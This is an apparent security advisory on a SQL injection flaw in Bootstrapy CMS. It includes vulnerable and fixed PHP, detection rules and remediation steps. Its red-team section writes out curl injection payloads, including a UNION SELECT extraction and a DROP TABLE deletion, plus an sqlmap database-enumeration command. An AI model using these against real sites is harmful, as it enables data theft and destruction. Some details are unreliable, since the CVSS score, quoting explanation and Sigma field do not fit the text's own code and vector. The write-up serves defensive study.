CVE-2019-25642

Executive Summary

CVE-2019-25642 is a critical unauthenticated SQL injection vulnerability affecting the Bootstrapy CMS. The flaw allows remote attackers to execute arbitrary SQL queries by injecting malicious payloads through multiple POST parameters, including thread_id in forum-thread.php, subject in contact-submit.php, post-id in post-new-submit.php, and thread-id in other endpoints. With a CVSS score of 8.2, this vulnerability can lead to full database compromise, data exfiltration, and denial of service. No official patch exists, and the vendor appears unresponsive, making this a high-priority threat for any organization using Bootstrapy CMS.

Supply Chain & Package Security

Bootstrapy CMS is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby. However, its unpatched status means any deployment is a supply chain risk. Organizations should treat it as a vulnerable component in their software inventory and plan for immediate replacement or isolation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – SQL injection can lead to denial of service.

Threat Level: Critical. Unauthenticated remote exploitation with high impact on all three security pillars.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of user-supplied input in POST parameters. The application directly concatenates these parameters into SQL queries without parameterized statements or escaping. For example, in forum-thread.php, the thread_id parameter is used in a query like:

SELECT * FROM threads WHERE id = $_POST['thread_id']

An attacker can inject a single quote to break out of the string context and append arbitrary SQL. Common payloads include:

• ' OR '1'='1 – Bypass authentication or retrieve all records.
• ' UNION SELECT ... – Extract data from other tables.
• ' ; DROP TABLE ... – Denial of service.

The same pattern exists in contact-submit.php (subject parameter), post-new-submit.php (post-id parameter), and other endpoints using thread-id.

Vulnerable vs. Patched Code

Vulnerable Code (forum-thread.php):

$thread_id = $_POST['thread_id'];
$query = "SELECT * FROM threads WHERE id = $thread_id";
$result = mysqli_query($conn, $query);

Patched Code (using prepared statements):

$thread_id = $_POST['thread_id'];
$stmt = $conn->prepare("SELECT * FROM threads WHERE id = ?");
$stmt->bind_param("i", $thread_id);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses parameterized queries, which prevent SQL injection by separating SQL logic from data. Since no official patch exists, this is the recommended fix for any organization still running Bootstrapy CMS.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Bootstrapy CMS on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via HTTP.

Exploitation Steps:

1. Identify vulnerable endpoints (e.g., /forum-thread.php, /contact-submit.php).
2. Use a tool like sqlmap or manual injection.

Manual Injection Example:

curl -X POST http://target/forum-thread.php \
  -d "thread_id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

Automated with sqlmap:

sqlmap -u "http://target/forum-thread.php" --data="thread_id=1" --batch --dbs

Denial of Service Payload:

curl -X POST http://target/forum-thread.php \
  -d "thread_id=1'; DROP TABLE threads;-- -"

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious POST requests containing SQL keywords (UNION, SELECT, DROP, ' OR).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Use the detection rules provided below.

Mitigation Steps:

1. Immediately isolate or take down Bootstrapy CMS instances.
2. Apply the patched code (prepared statements) if you must continue using it.
3. Migrate to a supported CMS as soon as possible.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /forum-thread.php, /contact-submit.php, /post-new-submit.php with abnormal parameters.
• SQL keywords in POST data: UNION, SELECT, DROP, ', --, #.
• High volume of 500 Internal Server Errors from the application.

File IOCs:

• Modified database tables (e.g., new admin users, altered content).
• Unexpected files in the web root (e.g., webshells).

Log IOCs:

• Web server logs showing SQL error messages (e.g., You have an error in your SQL syntax).
• Database logs showing unexpected queries.

Detection Engineering

YARA Rule

rule CVE_2019_25642_SQLi_Bootstrapy {
    meta:
        description = "Detects SQL injection attempts targeting Bootstrapy CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25642"
    strings:
        $s1 = "thread_id=" nocase
        $s2 = "subject=" nocase
        $s3 = "post-id=" nocase
        $s4 = "thread-id=" nocase
        $sqli1 = /'.*OR.*'1'='1/i
        $sqli2 = /UNION.*SELECT/i
        $sqli3 = /DROP.*TABLE/i
    condition:
        any of ($s*) and any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against Bootstrapy CMS
id: 8f4a2b1c-3d5e-4f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects SQL injection attempts targeting Bootstrapy CMS POST parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'forum-thread.php'
            - 'contact-submit.php'
            - 'post-new-submit.php'
        cs-uri-query|contains|all:
            - 'thread_id='
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in input (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25642 SQL Injection Attempt - Bootstrapy CMS"; flow:to_server,established; content:"POST"; http_method; content:"forum-thread.php"; http_uri; content:"thread_id="; http_client_body; pcre:"/(\x27.*OR.*\x27\x31\x27\x3D\x27\x31|UNION.*SELECT|DROP.*TABLE)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Take Bootstrapy CMS offline or isolate it behind a VPN/firewall.
2. Short-Term Fix: Apply the patched code (prepared statements) to all vulnerable files.
3. Long-Term Solution: Migrate to a supported, actively maintained CMS (e.g., WordPress, Joomla, Drupal).
4. Monitoring: Deploy the detection rules above and monitor for any exploitation attempts.
5. Backup: Ensure recent backups exist and are stored offline.
6. Vendor Contact: Attempt to contact the vendor for an official patch; if unresponsive, consider this a dead product.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert